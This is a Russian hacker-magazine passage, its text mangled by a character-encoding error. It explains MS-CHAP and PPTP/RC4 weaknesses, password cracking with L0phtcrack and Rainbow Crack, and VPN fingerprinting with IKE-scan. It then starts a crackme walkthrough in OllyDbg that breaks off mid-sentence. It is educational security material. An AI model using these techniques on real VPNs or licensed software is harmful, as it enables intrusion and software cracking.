6 ñåðâåð èçâëåêàåò èç ñâîåé áàçû õýø äàííîãî êëèåíòà è ðàñøèôðî-
âûâàåò åãî îòâåò

7 åñëè ðåçóëüòàò ðàñøèôðîâêè ñîâïàäåò ñ èñõîäíûì îòêëèêîì, âñå îê,
è íàîáîðîò

8 âïîñëåäñòâèè ñåðâåð áåðåò PAC-êëèåíòà è íà îñíîâå õýøà ãåíåðèðó-
åò 20-áàéòîâûé AR (Authenticator Response � Àóòåíòèôèêàöèîííûé Îò-
âåò), ïåðåäàâàÿ åãî êëèåíòó

9 êëèåíò ïðîäåëûâàåò òó æå ñàìóþ îïåðàöèþ è ñðàâíèâàåò ïîëó÷åííûé
AR ñ îòâåòîì ñåðâåðà

0 åñëè âñå ñîâïàäàåò êëèåíò àóòåíòèôèöèðóåò ñåðâåð

ñòåê VPN

ïðîòîêîë ìåòîä øèôðîâàíèÿ

ñòàðûé MPPE RSA RC4, 40-, 56-ðàçðÿäíûå êëþ÷è

íîâûé MPPE RSA RC4, 128-ðàçðÿäíûå êëþ÷è

IPSec DES, 56-ðàçðÿäíûå êëþ÷è

IPSec Triple 3DES

îñíîâíûå ìåõàíèçìû õýøèðîâàíèÿ è àóòåíòèôèêàöèè, èñïîëüçóåìûå â VPN

LC5 çà ðàáîòîé



Êàê âèäíî, ïðîòîêîë MS-CHAP v2 âûãëÿäèò áîëåå çàùèùåííûì, ÷åì
MS-CHAP v1, îäíàêî îáà îíè óÿçâèìû. Ïîäðîáíîñòè ìîæíî íàéòè â
ñòàòüå Áðþñà Øíàéåðà Cryptanalysis of Microsoft's MS CHAP v2
(www.schneier.com/paper-pptpv2.html), êîòîðàÿ, âîïðåêè ñâîåìó íàçâà-
íèþ, îïèñûâàåò íå òîëüêî MS-CHAP v2, íî è MS-CHAP v1.
×åì ïëîõ MS-CHAP v1? Òåì, ÷òî åãî óæå äàâíî íàó÷èëèñü ëîìàòü. Â
Ñåòè ìîæíî íàéòè ìíîæåñòâî ãîòîâûõ «îòìû÷åê», ðàáîòàþùèõ â ïîë-
íîñòüþ àâòîìàòèçèðîâàííîì ðåæèìå è íå òðåáóþùèõ íèêàêîé êâàëè-
ôèêàöèè. Ñêà÷àë � çàïóñòèë � ïîèìåë. Ñàìàÿ èçâåñòíàÿ (è ñàìàÿ
äðåâíÿÿ!) � ýòî L0phtcrack, íî ñåé÷àñ ïðîåêò ñäóëñÿ è ïåðåèìåíîâàë-
ñÿ â LC 5 (www.securityfocus.com/tools/1005), à íà ïðåæíåì àäðåñå
www.l0phtcrack.com âèñèò îáúÿâëåíèå î ïðîäàæå. Òåì íå ìåíåå,
L0phtcrack ïî-ïðåæíåìó îñòàþòñÿ â ñòðîþ, ïîñêîëüêó â îòëè÷èå îò
æàæäóùåãî äåíåã LC 5, îí ðàñïðîñòðàíÿåòñÿ áåñïëàòíî. Íàéòè åãî
ìîæíî íà ëþáîì õàêåðñêîì ñàéòå.
Íà Pentium 4 ñ òàêîé ÷àñòîòîé, êàê 3 GHz, ïîëíûé öèêë ïåðåáîðà çà-
íèìàåò íå áîëåå 4 ÷àñîâ, à â ñðåäíåì ïàðîëü ïîäáèðàåòñÿ çà 2 ÷àñà.
Âîò òåáå áàáóøêà è áåçîïàñíîñòü! È ýòî åùå íå ïðåäåë! Ïî ñóòè,
L0phtcrack ïðåäñòàâëÿë ñîáîé òðèâèàëüíûé ïåðåáîðùèê, ðàáîòàþùèé
ïî ïðèíöèïó ãðóáîé ñèëû (ñêàæóò êîïàòü � áóäó êîïàòü). Ýòî íåýëå-
ãàíòíî è íåïðîèçâîäèòåëüíî.
Â íà÷àëå 2004 ãîäà 20-ëåòíèé øâåéöàðñêèé õàêåð Ôèëèïï Îøëèí (Phi-
lippe Oechslin), âåäóùèé íàó÷íûé àññèñòåíò ëàáîðàòîðèè êðèïòîãðàôèè
è çàùèòû Øâåéöàðñêîãî ãîñóäàðñòâåííîãî òåõíîëîãè÷åñêîãî èíñòèòóòà
â Ëîçàííå, ñîîáùèë î ïðèíöèïèàëüíî íîâîì ìåòîäå óñêîðåííîãî âçëî-
ìà (Faster Time-Memory Trade-Off Technique), îñíîâàííîì íà ïðåäâû÷è-
ñëåííûõ òàáëèöàõ, ñîäåðæàùèõ âñå âîçìîæíûå êîìáèíàöèè ñèìâîëîâ â
ïàðîëå. Îòòàëêèâàÿñü îò ðàáîò Ìàðòèíà Íåëëìàíà (Martin Hellman),
Ôèëëèïï ïåðåðàáîòàë è óñèëèë àëãîðèòì ïîäáîðà ïàðîëåé, «àäàïòèðî-
âàâ» åãî ê àëãîðèòìó LM-ìåíåäæåðà. Âðåìÿ âçëîìà ñîêðàòèëîñü â ~12
ðàç, è íà AMD 2500+ ñ 1,5 Ãá ÎÇÓ ñîñòàâèëî âñåãî 13,6 ñåêóíä! Íó ïðÿ-
ìî âçëîì â ðåàëüíîì âðåìåíè! À âåäü ýòî íå ñàìûé ìîùíûé êîìïüþòåð
èç âñåõ äîñòóïíûõ. Ñëåäóåò îòìåòèòü, ÷òî îáúåì ïàìÿòè âàæåí ïîòîìó,
÷òî ïðåäâû÷èñëåííûå òàáëèöû î÷åíü âåëèêè, à èíòåíñèâíûé ñâîïïèíã
íà äèñê ñúåäàåò âñþ ïðîèçâîäèòåëüíîñòü.
Âñå ïîäðîáíîñòè ìîæíî íàéòè â ñòàòüå Ôèëèïïà, âûëîæåííîé íà Øâåéöàð-
ñêîì ñàéòå (lasecwww.epfl.ch/php_code/publications/search.php?ref=Oech03)
è óæå ðåàëèçîâàííûõ â ïðîãðàììå Rainbow Crack (www.antsight.com/zsl/ra-
inbowcrack), äåìîíñòðàöèîííàÿ âåðñèÿ êîòîðîé ðàñïðîñòðàíÿåòñÿ áåñïëàò-
íî, à âîò çà ïîëíóþ âåðñèþ ïðåäâû÷èñëåííûõ òàáëèö ïðèäåòñÿ âûëîæèòü
500$. Âîîáùå-òî, èõ ìîæíî íàéòè â Ñåòè è áåñïëàòíî, íî çäåñü åñòü îäíî
«íî». Äëÿ ðàáîòû ñ íèìè ïîòðåáóåòñÿ óñòàíîâèòü 60 Ãáàéò îïåðàòèâíîé ïà-
ìÿòè. Òàêîé îáúåì äîìàøíèå êîìïüþòåðû óæå íå ïîääåðæèâàþò. Ýòî óæå
íåõèëàÿ ñåðâåðíàÿ êîíôèãóðàöèÿ, íà ôîíå êîòîðîé æàëêèå 500$ ïîãîäû íå
äåëàþò. Çàòî è ïàðîëü âçëàìûâàåòñÿ ìãíîâåííî! Ïðè÷åì, íå òîëüêî LM, íî
NT. Òàê ÷òî êðèïòîãðàôèÿ íå ñòîèò íà ìåñòå! È íàäåæíîñòü ïàðîëüíûõ çà-
ùèò ñ êàæäûì ãîäîì âûçûâàåò âñå áîëüøèå è áîëüøèå ñîìíåíèÿ.

ÈÑÑËÅÄÎÂÀÍÈÅ VVPN-ÑÑÅÒÅÉ
Áîëüøèíñòâî êîìïàíèé ïðåäïî÷èòàþò íå àôèøèðîâàòü íà-
ëè÷èå VPN-ñåðâåðà â ñâîåé ñåòè. È ýòî ïðàâèëüíî, ïî-
ñêîëüêó ïðàêòè÷åñêè íè îäíà ðåàëèçàöèÿ íå ñìîãëà èçáå-
æàòü ïðîãðàììèñòñêèõ îøèáîê, è çà ïîñëåäíèå íåñêîëüêî
ëåò áûëî îáíàðóæåíî ìíîæåñòâî äûð, íî èñïîëüçîâàòü èõ
íå òàê-òî ïðîñòî! Âî-ïåðâûõ, íåîáõîäèìî âûÿñíèòü IP-àä-
ðåñ VPN-ñåâåðà, à âî-âòîðûõ, êàê-òî îïðåäåëèòü òèï ïðî-
ãðàììíîãî îáåñïå÷åíèÿ è âåðñèþ ðåàëèçàöèè.
Âîò äëÿ ýòîãî è íóæåí IKE-scan! Ýòî áåñïëàòíî ðàñïðîñòðà-
íÿåìàÿ óòèëèòà, ïîñûëàþùàÿ Control Connection çàïðîñû
ïî UDP è àíàëèçèðóþùàÿ îòâåòû. Êàê ïîêàçàëà ïðàêòèêà,
êàæäàÿ ðåàëèçàöèÿ èìååò ñâîé óíèêàëüíûé «ïî÷åðê», íà
æàðãîíå íàçûâàåìûé «îòïå÷àòêîì» (fingerprint), ïî êîòîðî-
ìó åå ìîæíî îïðåäåëèòü. Ìåòîäèêà ñíÿòèÿ îòïå÷àòêîâ ïî-
ñòîÿííî ñîâåðøåíñòâóåòñÿ, è çà ïîäðîáíîé èíôîðìàöèåé
ëó÷øå îáðàòèòüñÿ íåïîñðåäñòâåííî ê ñàìèì ðàçðàáîò÷èêàì
(www.nta-monitor.com/ike-scan/overview-old.htm). Îòòóäà æå
ìîæíî ñêà÷àòü è ãîòîâóþ óòèëèòó ñ èñõîäíûìè òåêñòàìè â
ïðèäà÷ó: www.nta-monitor.com/ike-scan/download.htm. Êàê è
áîëüøèíñòâî îñòàëüíûõ ïðîãðàìì ýòîãî ðîäà, îíà îðèåíòè-
ðîâàíà íà UNIX, íî íåïëîõî ÷óâñòâóåò ñåáÿ è ïîä Windows â
ñðåäå Cygwin. Íåêîòîðûå äèñòðèáóòèâû (íàïðèìåð, DEBI-
AN) óæå âêëþ÷àþò åå â øòàòíûé êîìïëåêò ïîñòàâêè, ïîýòî-
ìó íè÷åãî êà÷àòü íå íàäî.



Íî ýòî íå åäèíñòâåííîå ñëàáîå ìå-
ñòî MS-CHAP v1. Åñòü è äðóãèå.
Íàïðèìåð, àòàêóþùèé ìîæåò ïðè-
êèíóòüñÿ ñåðâåðîì è ïîñëàòü êëè-
åíòó çàïðîñ íà ñìåíó ïàðîëÿ, êîòî-
ðûé íå òðåáóåò àóòåíòèôèêàöèè è
áóäåò âîñïðèíÿò êàê ïðàâèëüíûé.
Êàê óæå áûëî ïîêàçàíî âûøå, âîç-
ìîæíîñòü àóòåíòèôèêàöèè ñåðâå-
ðà êëèåíòîì ïîÿâèëàñü òîëüêî â
MS-CHAP v2. Êëèåíò ââîäèò ñâîé
ñòàðûé è íîâûé ïàðîëü, àòàêóþ-
ùèé áëàãîïîëó÷íî èõ «ñúåäàåò» è,

èñïîëüçóÿ «ñòàðûé» ïàðîëü, òóò æå ïîäêëþ÷àåòñÿ ê ñåðâåðó. Êîììåíòà-
ðèè, êàê ãîâîðèòñÿ, èçëèøíè. Âåäü åñëè «áëîêèðîâêà ïàðîëÿ» îòêëþ÷å-
íà è óñòàíîâëåíî áåññðî÷íîå âðåìÿ åãî èñïîëüçîâàíèÿ, çàïðîñ íà ñìå-
íó ïàðîëÿ áóäåò çâó÷àòü âåñüìà ñòðàííî, åñëè íå ñêàçàòü ïîäîçðèòåëü-
íî, à åñëè ïàðîëè ìåíÿþòñÿ êàæäûå íåñêîëüêî äíåé, òî ê ýòîìó ïðèâû-
êàþò è ïåðåñòàþò îáðàùàòü âíèìàíèå.
Ïðîòîêîë MS-CHAP v2 íàìíîãî áîëåå çàùèùåí, è ôîêóñ ñ «ïîääåëêîé»
ñåðâåðà â íåì óæå íå ïðîõîäèò, îäíàêî îí îñòàåòñÿ óÿçâèì äëÿ óòè-
ëèò,òèïà Rainbow Crack, êîòîðûå âçëàìûâàþò åãî çà î÷åíü êîðîòêîå
âðåìÿ, ïðàâäà, ïðè óñëîâèè, ÷òî ó õàêåðà èìååòñÿ äîñòàòî÷íîå êîëè÷å-
ñòâî îïåðàòèâíîé ïàìÿòè èëè íåñêîëüêî ëèøíèõ ÷àñîâ :). 

[øèôðîâàíèå ñíàðóæè è èçíóòðè] Âñå, î ÷åì ìû äî ñèõ ïîð ãîâîðè-
ëè, êàñàëîñü àóòåíòèôèêàöèè. Òåïåðü äàâàé ðàçáåðåìñÿ ñ øèôðîâàíèåì.
Â íàñòîÿùåå âðåìÿ ïîääåðæèâàþòñÿ äâà ìåòîäà øèôðîâàíèÿ: MPPE
(Microsoft Point-to-Point Encryption � Ïðîòîêîë Øèôðîâàíèÿ îò Microsoft)
è ipsec. Ïåðâûé ïðîòîêîë äåêëàðèðóåòñÿ â RFC 3078, à IPSec îïèñûâà-
åòñÿ öåëûì òàíäåìîì RFC: RFC 1825 � IP Security Architecture (Àðõèòåê-
òóðà Áåçîïàñíîñòè IP), RFC 1826 � IP Autentication Header (Çàãîëîâîê
Àóòåíòèôèêàöèè IP), RFC 1827 IP Encapsulating Security Payload, ESP �
Èíêàïñóëèðîâàííàÿ Ñåêðåòíàÿ Íà÷èíêà â IP, RFC 1828 � IP Autentica-
tion using Keyed MD5 (Ìåòîä Àóòåíòèôèêàöèè ïî êëþ÷àì MD5), RFC
1829 � ESP DES-Chpher Block Chaining Transform (Ïðåîáðàçîâàíèå Ñöå-
ïëåííûõ Áëîêîâ Èíêàïñóëèðîâàííîé Íà÷èíêè Çàøèôðîâàííîé ïî DES).
Ïîìèìî ýòîãî, ñóùåñòâóþò è äðóãèå IPSec RFC, êîòîðûå ëåãêî íàéòè íà
www.rfc-editor.org. Ýòî öåëûé òàëìóä, ñ êîòîðûì òîëïà ãèêàíóòûõ ïàðíåé
íå óñïååò ðàçîáðàòüñÿ è çà ãîä!
Îáà ïðîòîêîëà ðåàëèçîâàíû êàê â Microsoft Windows, òàê è âíå åå (íà-
ïðèìåð, â *BSD), íî àëãîðèòìû ðàáîòû VPN ìîãóò ñóùåñòâåííî îòëè÷à-

òüñÿ. Îñíîâíûå ñâåäåíèÿ ïðèâåäåíû â òàáëèöå 2.
Âûáîð ìåòîäà øèôðîâàíèÿ îïðåäåëÿåòñÿ òèïîì è êîíôèãóðàöèåé
VPN-ñåðâåðà. Ïðè ïîäêëþ÷åíèè ïî PPTP ïðèìåíÿåòñÿ øèôðîâàíèå
MPPE, à ïðè ïîäêëþ÷åíèè ïî L2TP (Layer 2 Tunneling Protocol) � øè-
ôðîâàíèå IPSec. Ïðîòîêîë L2TP áûë ðàçðàáîòàí ðàáî÷åé ãðóïïîé IETF
PPP Extensions ñ öåëüþ îáúåäèíåíèÿ ôóíêöèîíàëüíîñòè Cisco L2F,
ïëþñ PPTP ñòàíäàðòèçèðîâàí â 1999 ãîäó äîêóìåíòîì RFC ïîä íîìå-
ðîì 2661. Ñåé÷àñ ïðîèñõîäèò åãî àêòèâíîå âíåäðåíèå. Âíåøíå L2TP
î÷åíü ïîõîæ íà PPTP, íî åñëè PPTP ðàáîòàåò òîëüêî â IP-ñåòÿõ, òî
L2TP ïîääåðæèâàåò Frame Relay, X.25 è ATM.
Åñëè ìàéêðîñîôòîâñêèé VPN-êëèåíò íàñòðîåí íà àâòîìàòè÷åñêèé âû-
áîð òèïà ñåðâåðà (êàê è ïðîèñõîäèò ïî óìîë÷àíèþ), ñíà÷àëà ïðåäïðèíè-
ìàåòñÿ ïîïûòêà èñïîëüçîâàòü ïðîòîêîë L2TP ñ àëãîðèòìîì øèôðîâà-
íèÿ IPSec, è òîëüêî åñëè ýòà ïîïûòêà íå óâåí÷àëàñü óñïåõîì, ïðîèñõî-
äèò ïåðåõîä íà PPTP ñ øèôðîâàíèåì ïî MPPE.
Ðàññìîòðèì PPTP êàê íàèáîëåå ïðîñòîé è ðàñïðîñòðàíåííûé ïðî-
òîêîë øèôðîâàíèÿ. Ñ òî÷êè çðåíèÿ õàêåðîâ, îí ïðèâëåêàòåëåí òåì,
÷òî èñïîëüçóåò ïðîñòîé ïîòîêîâûé øèôð RC4, óÿçâèìîñòè êîòîðî-
ãî õîðîøî èçâåñòíû. Çà ïîñëåäíèå íåñêîëüêî ëåò êðèïòîàíàëèòèêè
ðàçðàáîòàëè ìíîæåñòâî ýôôåêòèâíûõ àòàê, à âû÷èñëèòåëüíûå
ìîùíîñòè âîçðîñëè íàñòîëüêî, ÷òî äàæå ëîáîâîé ïîäáîð 40-áèòíî-
ãî êëþ÷à ïðåäñòàâëÿåò èç ñåáÿ ïëåâîå äåëî. Ïåðå÷èñëèì òðè îñ-
íîâíûå óÿçâèìîñòè RC4:

1 Àòàêà ïî îòêðûòîìó òåêñòó. Íà îñíîâå êëþ÷à øèôðîâàíèÿ ãåíåðè-
ðóåòñÿ ïñåâîäîñëó÷àéíàÿ ïîñëåäîâàòåëüíîñòü (îíà æå ãàììà), êîòî-
ðîé íàêëàäûâàåòñÿ íà øèôðóåìûé òåêñò ÷åðåç XOR. ×òî ìîæåò áûòü
ïðîùå! Åñëè àòàêóþùèé çíàåò ñîäåðæèìîå è ïîçèöèþ øèôðóåìîãî
áàéòà, òî ïóòåì ïîâòîðíîãî ïðèìåíåíèÿ XOR îí ìîæåò âîññòàíîâèòü
îäèí áàéò ãàììû. Ïîñêîëüêó, øèôðóåìûå ïàêåòû ñîäåðæàò ïðåäñêà-
çóåìóþ èíôîðìàöèþ (íàïðèìåð, çàãîëîâêè), à îäíè è òå æå ó÷àñòêè
ãàììû ìíîãîêðàòíî íàêëàäûâàþòñÿ íà ðàçëè÷íûå ó÷àñòêè øèôðóå-
ìîãî òåêñòà, õàêåð ìîæåò âîññòàíîâèòü âñþ ãàììó öåëèêîì ïóòåì
òðèâèàëüíîãî ñáîðà òðàôèêà!

2 Àòàêà «ïåðåâîðîòîì áèòîâ» (bit-flipping attack). Ïîñëå íà÷àëüíîé àó-
òåíòèôèêàöèè è óñòàíîâêè ñîåäèíåíèÿ, îñòàëüíûå ïàêåòû íå àóòåíòè-
ôèöèðóþòñÿ, ïîýòîìó, àòàêóþùèé ìîæåò ñâîáîäíî ìåíÿòü ñîäåðæè-
ìîå çàøèôðîâàííûõ áèòîâ. Êîíêðåòíàÿ ðåàëèçàöèÿ àòàêè ìîæåò âû-
ãëÿäåòü, íàïðèìåð, òàê. Õàêåð ïåðåõâàòûâàåò çàøèôðîâàííûé ïàêåò
ñíèôåðîì, èçìåíÿåò íåñêîëüêî áèòîâ ïàêåòà è ïåðåñ÷èòûâàåò åãî
CRC, ïîñëå ÷åãî ïåðåäàåò ïàêåò ñåðâåðó, êîòîðûé áëàãîïîëó÷íî «ïðî-
ãëàòûâàåò» ïîääåëüíûé ïàêåò (âåäü CRC ðàññ÷èòàí ïðàâèëüíî) è ïå-
ðåäàåò åãî íà ñëåäóþùèé óðîâåíü â ñòåêå ïðîòîêîëîâ. Íà óðîâíå 3 (la-
yer 3) ïðîèñõîäèò êîíêðåòíûé îáëîì. Ïàêåò îòâåðãàåòñÿ è ãåíåðèðóåò-
ñÿ âïîëíå ïðåäñêàçóåìûé îòâåò, êîòîðûé ïåðåäàåòñÿ «íàâåðõ», ïîä-
âåðãàÿñü øèôðîâêå. Õàêåð âûëàâëèâàåò çàøèôðîâàííûé ïàêåò è ïðè-
ìåíÿåò àòàêó ïî ïðÿìîìó òåêñòó, âîññòàíàâëèâàÿ ãàììó êëþ÷à. Âñå!
Òåïåðü îñòàëüíûå ïàêåòû ðàñøèôðîâûâàþòñÿ «íà óðà»!

3 Àòàêà ïóòåì ðåñèíõðîíèçàöèè: åñëè â ïðîöåññå ïåðåäà÷è òåðÿåòñÿ
ïàêåò, ëèáî ïðèõîäèò ïàêåò ñ íåâåðíûì íîìåðîì â çàãîëîâêå ÌÐÐÅ,
ïðîèñõîäèò òàê íàçûâàåìàÿ «ðåñèíõðîíèçàöèÿ êëþ÷à». Îòïðàâèòåëü ðå-
èíèöèàëèçèðóåò òàáëèöû RC4 è óñòàíàâëèâàåò áèò «ñáðîøåí» (flushed)
â çàãîëîâêå ÌÐÐÅ. Åñëè ñèñòåìà îáíàðóæèâàåò â ïàêåòå óñòàíîâëåííûé

áèò «ñáðîøåí», îíà ðåèíèöèàëèçèðóåò ñâîè òàáëèöû RC4 è
óñòàíàâëèâàåò ñ÷åò÷èê ïàêåòîâ â ñîîòâåòñòâèè ñ ïîëó÷åí-
íûì çíà÷åíèåì. Â ïðàêòè÷åñêîì ïëàíå ýòî îçíà÷àåò, ÷òî
øèôðîâàíèå ãàììîé íà÷èíàåòñÿ ñíà÷àëà. Åñëè õàêåð áóäåò
áîìáàðäèðîâàòü æåðòâó çàïðîñàìè íà ðåñèíõðîíèçàöèþ (à
îíè íå òðåáóþò íèêàêîé àóòåíòèôèêàöèè), òî âñå ïàêåòû áó-
äóò øèôðîâàòüñÿ îäíîé è òîé æå ãàììîé, ÷òî ñóùåñòâåííî
óïðîùàåò àòàêó ïî îòêðûòîìó òåêñòó.

Âñå òðè îïèñûâàåìûå àòàêè îòíîñÿòñÿ ê MS-CHAP v1, à â
MS-CHAP v2 èõ âëèÿíèå çíà÷èòåëüíî îñëàáëî, ïîýòîìó îñ-
íîâíûì ñïîñîáîì âçëîìà ñòàë ïîäáîð ïàðîëÿ ñ ïîìîùüþ
òàêèõ ïðîãðàìì, êàê Rainbow Crack.

[çàêëþ÷åíèå] Òàê âñå-òàêè, ìîæíî äîâåðÿòü VPN-ñå-
òÿì, èëè íåò? Îòâåò íåîäíîçíà÷åí. Äà, îíè äåéñòâè-
òåëüíî ïðåäñòàâëÿþò ñîáîé äîïîëíèòåëüíûé óðîâåíü
çàùèòû ïîâåðõ òðàäèöèîííûõ ñåòåé, îäíàêî îòêðûâàòü
äîñòóï âî âíóòðåííþþ êîðïîðàòèâíóþ ñåòü ÷åðåç VPN
î÷åíü îïàñíî. Õàêåð áåç òðóäà ñìîæåò ïîäîáðàòü ïà-
ðîëü çà ñòîëü êîðîòêîå âðåìÿ, ÷òî àäìèíèñòðàòîð è
ãëàçîì ìîðãíóòü íå óñïååò. Ïîñëåäñòâèÿ òàêîãî âòîð-
æåíèÿ êàæäûé ìîæåò äîìûñëèòü ñàì. Òóò íå íóæíî áî-
ãàòîãî âîîáðàæåíèÿ[X
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àòàêà òèêà bit-flipping

ïðîöåäóðà âû÷èñëåíèÿ LM-õýøà

çàãîëîâîê GRE-ïàêåòà ñ S-ôëàãîì





X-CONTEST
Â ÑÅÍÒßÁÐÅ Â ÊÀ×ÅÑÒÂÅ Î×ÅÐÅÄÍÎÃÎ Õ-ÊÎÍÊÓÐÑÀ
ÌÛ ÏÐÅÄËÎÆÈËÈ ÒÅÁÅ ÈÑÑËÅÄÎÂÀÒÜ ÍÀ ÏÐÅÄÌÅÒ
ÂÎÇÌÎÆÍÎÃÎ ÂÇËÎÌÀ ÏÐÎÃÐÀÌÌÍÓÞ ÇÀÙÈÒÓ
ÑÏÅÖÈÀËÜÍÎ ÏÐÈÃÎÒÎÂËÅÍÍÎÃÎ CRACKME.

Ó×ÈÒÛÂÀß, ×ÒÎ Ñ ÇÀÄÀÍÈÅÌ ÑÏÐÀÂÈËÎÑÜ 7
×ÅËÎÂÅÊ, ÍÅËÈØÍÈÌ ÁÓÄÅÒ ÐÀÑÑÊÀÇÀÒÜ Î ÒÎÌ, ÊÀÊ
ÍÀÄÎ ÁÛËÎ ÏÐÎÕÎÄÈÒÜ ÊÎÍÊÓÐÑ, ÊÀÊÈÌ ÎÁÐÀÇÎÌ
ÌÎÆÍÎ ÁÛËÎ ÂÇËÎÌÀÒÜ ÍÀØÓ ÏÐÎÃÐÀÌÌÓ.
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[èíñòðóìåíòû äëÿ âçëîìà] Íà÷íåì ñ èíñòðó-
ìåíòàðèÿ, êîòîðûé òåáå ïîíàäîáèòñÿ äëÿ èññëå-
äîâàíèé. ×òî áû íè ãîâîðèëè çíàòîêè êðýêèíãà,
íî äëÿ âçëîìà äàííîãî êðýêìè òåáå ïîíàäîáèòñÿ
òîëüêî Olly Debugger (äàëåå � Îëüêà). Êîíå÷íî,
ìîæíî çàïðÿ÷ü âñÿêèå ôàéëîâûå àíàëèçàòîðû è
ðàñïàêîâùèêè, íî áåç âñåãî ýòîãî âïîëíå ìîæíî
îáîéòèñü. ×òîáû óçíàòü, ñ ÷åì ìû èìååì äåëî,
ìîæåò ïðèãîäèòüñÿ ôàéëîâûé àíàëèçàòîð PEiD.
Îí íå ïîêàæåò íàì íèêàêèõ äàííûõ îòíîñèòåëüíî
ÿçûêà, íà êîòîðîì íàïèñàíà ïðîãðàììà, îòñþäà
ìîæíî ñäåëàòü ëîãè÷íûé âûâîä î òîì, ÷òî ïðîã-
ðàììà óïàêîâàíà, à ïîñêîëüêó PEiD íå âûâîäèò
èìÿ óïàêîâùèêà, òî îí ëèáî íîâûé, ëèáî ìàëîèç-
âåñòíûé. Ñêàæó ïî ñåêðåòó, ïàêîâàë ÿ ýòîò êðýê-
ìè UPack'îì âåðñèè 0.32. Ýòîò ïàêåð áåñïëàòíûé
è îáåñïå÷èâàåò ëó÷øåå, ïî ñðàâíåíèþ ñ äðóãèìè,
ñæàòèå. Íó ÷òî, ïðèñòóïàåì ê íàøèì îïûòàì.

[ëîìàåì] Äëÿ íà÷àëà íå ëèøíèì áóäåò îïðåäå-
ëèòü íàøó öåëü. Ìíîãèå ïî÷åìó-òî ðåøèëè, ÷òî
äîñòàòî÷íî ðàñïàêîâàòü êðýêìè è çàùèòà ñíÿòà.
Ýòî íåïðàâèëüíûé ïîäõîä. Óïàêîâùèê ñëóæèò
ëèøü äëÿ óìåíüøåíèÿ ðàçìåðà êðýêìè, íî íå äëÿ
çàùèòû. À öåëü íàøà � ïîëó÷èòü ïàðîëü íà ñâîé
íèê è óçíàòü ñïåöèàëüíûé ïàðîëü, îáùèé äëÿ âñåõ
íèêîâ. Äëÿ ýòîãî íå íóæíî ðàñïàêîâûâàòü êðýêìè.
Ïîñëå çàïóñêà åãî ïîä Îëüêîé óïàêîâùèê â ïàìÿ-
òè ñàì ðàñïàêóåò êðýêìèñ. Íàì îñòàåòñÿ ëèøü
ïîñìîòðåòü íà òå óÿçâèìîñòè, çà êîòîðûå ìîæíî
çàöåïèòüñÿ, ÷òîáû îñóùåñòâèòü âçëîì.
Íàäåþñü, òû óæå îòêðûë Îëåé êðýêìèñ è íàæàë
F9, çàïóñòèâ òåì ñàìûì ïðîãðàììó ïîä îòëàä÷è-
êîì. Òåïåðü â çàãðóæåííîé ïðîãðàììå ââåäè
ñâîé íèê è ëþáîé ïàðîëü. ß ââåë «GPcH» è ïà-
ðîëü «1234567890». Íàæèìàåì íà êíîïêó «Çàðå-
ãèñòðèðîâàòü ïðîãðàììó» è ïîëó÷àåì, åñòåñòâåí-
íî, ñîîáùåíèå «Âû ââåëè íåâåðíîå èìÿ ïîëüçî-
âàòåëÿ èëè ïàðîëü. Ïîâòîðèòå ïîïûòêó :)». 
Òåïåðü ìû çíàåì, ñ ÷åãî íàì íà÷àòü èññëåäîâàòü
ïðîãðàììó. Ñòàâèì òî÷êó îñòàíîâà íà ôóíêöèþ
rtcMsgBox (äàííóþ ôóíêöèþ Visual Basic � 
à èìåííî íà íåì è íàïèñàíà ïðîãðàììà � 
èñïîëüçóåò äëÿ âûâîäà ñîîáùåíèé) èëè íà åå îð-
äèíàë 595. Íàäåþñü, ó òåáÿ óñòàíîâëåí ïëàãèí
CommandLine äëÿ Îëüêè. Åñëè íåò � èùè åãî íà
ñàéòå www.ollydbg.de. Â êîíñîëè ýòîãî ïëàãèíà
ââîäè bp rtcMsgBox, æìè Enter è ñíîâà äàâè íà
êíîïêó «Çàðåãèñòðèðîâàòü ïðîãðàììó». Âûïîë-
íåíèå êîäà ïðåðâåòñÿ íà ôóíêöèè rtcMsgBox.

660DC5F3 > 55 PUSH EBP

Òåïåðü ïðîõîäèì äî êîíöà ýòîé ôóíêöèè â ðå-
æèìå òðàññèðîâêè (íàæèìàé F8). Ýòà ôóíêöèÿ,
êàê è ëþáàÿ äðóãàÿ, îêàí÷èâàåòñÿ îïåðàíäîì
ret. Ïîñëå ýòîãî (ïðåäâàðèòåëüíî óâèäåâ ñîîá-
ùåíèå î íåâåðíîñòè ïàðîëÿ) ìû ïîïàäåì îáðàò-
íî â êîä êðýêìèñà. Òóò òû óâèäèøü ñëåäóþùåå:
êîä, íà êîòîðûé ìû ïîïàäàåì ïîñëå ïîëó÷å-
íèÿ ñîîáùåíèÿ î íåâåðíîì ïàðîëå

0040610E 8D DB 8D
0040610F 85 DB 85
00406110 58 DB 58
;CHAR 'X'
00406111 FD DB FD
00406112 FF DB FF
00406113 FF DB FF
00406114 50 DB 50
;CHAR 'P'
00406115 8D DB 8D
00406116 85 DB 85
00406117 68 DB 68
;CHAR 'h'
00406118 FD DB FD
00406119 FF DB FF
0040611A FF DB FF

Îëüêà ïîñëå ðàñïàêîâêè ïðîãðàììû íå ñìîãëà
àâòîìàòè÷åñêè îïîçíàòü êîä, ïîýòîìó íàæìè
Ctrl+A. Íà÷àëî êîäà òåïåðü ïðèìåò âèä:

0040610E . 8D85 58FDFFFF LEA
EAX,DWORD PTR SS:[EBP-2A8]
ïðîëèñòíè êîä ÷óòîê ââåðõ è òû óâèäèøü:

004060EB . 8D85 A8F6FFFF LEA
EAX,DWORD PTR SS:[EBP-958]
004060F1 . 50 PUSH EAX
004060F2 . 8D85 B8F6FFFF LEA
EAX,DWORD PTR SS:[EBP-948]
004060F8 . 50 PUSH EAX
004060F9 . 8D85 C8F6FFFF LEA
EAX,DWORD PTR SS:[EBP-938]
004060FF . 50 PUSH EAX
00406100 . 6A 40 PUSH 40
00406102 . 8D85 D8F6FFFF LEA
EAX,DWORD PTR SS:[EBP-928]
00406108 . 50 PUSH EAX
00406109 . E8 2EB2FFFF CALL
CrackMe.0040133C

Âûøå ðàñïîëîæåíà ïðîöåäóðà ïðîâåðêè ñå-
ðèéíèêà. Îíà áîëüøàÿ èç-çà òîãî, ÷òî ÿ ñïåöè-
àëüíî çàìóñîðèë êîä ïðè íàïèñàíèè CrackMe
äëÿ óñëîæíåíèÿ åãî àíàëèçà. Ïðîéäÿ íåñêîëü-
êî ýêðàíîâ ââåðõ, ìû íàéäåì ïðîâåðêó äëèíû
èìåíè ïîëüçîâàòåëÿ:

00404286 . E8 CFD0FFFF CALL
CrackMe.0040135A
0040428B . 33C9 XOR ECX,ECX
0040428D . 83F8 04 CMP EAX,4
Íèæå ðàñïîëîæåíà ïðîöåäóðà 
